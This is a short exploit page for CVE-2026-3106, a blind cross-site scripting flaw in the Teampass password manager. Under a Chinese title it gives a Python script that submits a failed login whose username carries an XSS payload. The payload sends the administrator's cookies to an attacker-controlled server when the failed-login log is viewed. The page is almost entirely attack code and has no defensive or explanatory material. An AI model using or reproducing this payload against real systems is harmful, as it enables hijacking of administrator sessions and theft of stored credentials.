CVE-2026-3106 Teampass 盲型跨站脚本漏洞

import requests # Target configuration target_url = "http://target-teampass-url/index.php" attacker_server = "http://attacker-controlled-server/collect" # Malicious payload to steal admin cookies # This payload will execute when the admin views the failed login logs xss_payload = f"<img src=x onerror=fetch('{attacker_server}?c='+document.cookie)>" # The vulnerable parameter is the username field (often named 'login' or similar) # which gets logged upon failed authentication. payload_data = { "login": xss_payload, "pw": "invalid_password", "stay_connected": "" } try: print("[*] Sending malicious payload to trigger failed login logging...") response = requests.post(target_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[*] Waiting for administrator to view the failed login entries...") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")